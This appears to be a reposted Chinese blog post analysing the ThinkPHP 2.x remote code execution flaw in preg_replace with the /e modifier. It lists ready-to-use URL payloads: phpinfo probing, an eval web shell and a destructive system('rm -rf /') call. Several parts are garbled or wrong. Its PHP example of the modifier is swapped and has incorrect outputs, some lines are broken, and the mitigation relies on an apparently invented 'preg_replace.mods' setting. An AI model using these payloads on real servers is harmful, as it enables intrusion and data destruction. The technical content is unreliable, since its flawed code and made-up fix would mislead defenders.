本文共 2574 字,大约阅读时间需要 8 分钟。
ThinkPHP 2.x 系列中存在一个严重的安全漏洞,该漏洞主要由于 preg_replace
函数的 /e
模式支持导致代码执行。以下将详细分析该漏洞的原理、复现方法及其原因。
ThinkPHP 2.x 版本中,运行 preg_replace
函数的代码如下:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
该正则表达式设计用于将 URL 参数与应用模块、控制器、操作结合,最后将参数存储到 $var
数组中。问题出在 /e
模式的支持上,这种模式会将替换字符串视为 PHP 代码并立即执行。具体来说,替换字符串 '$var[\'\\1\']="\\2";'
将被PHP解析并执行。
当第三个参数 [^'.$depr.'\/]+
可控时,会导致恶意代码被注入并执行。例如,一个用户输入的参数 ${@phpinfo()}
会被误解为 PHP 函数调用,从而触发代码执行。
需要注意的是,ThinkPHP 3.0 由于在 Lite 模式下没有修复该漏洞,因此仍然存在相同的安全问题。
以下为该漏洞的两个常见复现样例:
完整代码:
/index.php?s=/index/index/name/${@phpinfo()}
完整代码:
/index.php?s=/index/index/name/${@eval($_GET['param'])}
完整代码:
/index.php?s=/index/index/name/${@system('rm -rf /')/>
完整代码:
/index.php?s=/index/index/name/${@require_once('garments/evil.php')}
在这些示例中,只需将参数处于 ${...}
结构中,PHP 就会将其解释为变量或者函数调用,从而触发恶意操作。这类攻击通常很难被防御,除非完整消除 /e
模式支持。
preg_replace
函数用于处理字符串中的模式匹配和替换,是 PHP 中非常强大的工具。但在 /e
模式下,它的功能扩展得尤为突出,可以执行动态代码。
/e
模式机制/e
模式的全称是 /e
modifier,它告诉 PHP 解析替换后的字符串作为代码并立即执行。具体来说:// 正常模式$str = preg_replace('@\p{L}+@e', '$str = $str . " " . $0;', 'Hello, World!');// 输出:Hello, World! Hello, World!
// /e 模式$str = preg_replace('/\p{L}+/', '$str = $str . " " . $0;', 'Hello, World!');// 输出:(Hello, World!) Hello, World!
这说明,在 /e
模式下,替换的结果将直接被嵌入到 PHP 代码中执行。这一点在将数据直接注入至变量或代码执行时尤为危险。
该漏洞的一个关键部分是 preg_replace
的替换字符串设计为 '$var[\'\\1\']="\\2";'
,其中 \1
和 \2
是正则匹配组的结果。假设路径字符串为 /one/two/three
,则:
/
分割为 ['one', 'two', 'three']
。preg_replace
中,(\w+)
匹配 one
,([^/]+)
匹配 two
。$var['one'] = 'two'
.这满足了应用默认路由规则,并可将参数动态注入至变量中。然而,路径输入可控的情况下,原始替换字符串可以被用来添加用户提供的代码。
静态 PHP 函数:
好的,函数名需要是有效的 PHP 函数名称。例如:
/index.php?s=/index/index/name/${@echo('Tliğinec6645444');}
重要的随机字符集合:
例如 @random_string(30)
,但需要注意不能包含不安全字符。
构建独立的恶意脚本:
例如 /path/to/evil.php
,或者直接调用外部脚本。
安全专家建议线上应用应完全避免这种情况:
${'evil'}`helloworld`
但如果要保护设备,可以临时禁用 /e
模式或使用合成字符串表示变量。
/e
模式在 ThinkPHP 2.x 的版本中,可以通过在 php.ini
中禁用 /e
模式。
preg_replace.mods = ""
这将禁止所有正则表达式 ${...}
代入代码执行。
或者在代码中手动禁用:
ini_set('preg_replace.mods', '');
在应用中设计一个安全的参数过滤系统,确保用户输入无法直接注入到典型的函数或变量体中。
在处理路径参数前,建议进行全面检查,确保所有用户输入都是预期的路径分量且经过严格验证。
使用安全套件(如 PHP 函数库)来包裹和过滤所有外部调用,以确保代码无法被注入到服务器。
在任务执行前记录所有关键输入参数,便于后续审计和响应。
ThinkPHP 2.x 的任意代码执行漏洞是由于 /e
模式的强大特性所引发的,结合传入参数的动态替换,极易导致严重后果。这一漏洞的复现相对简单,仅需将任意代码放置在 ${...}
结构中即可触发。
开发者应当及时修复这一漏洞,并在生产环境中启用适当的安全防护措施,以防范类似的潜在攻击面。
转载地址:http://zqcyk.baihongyu.com/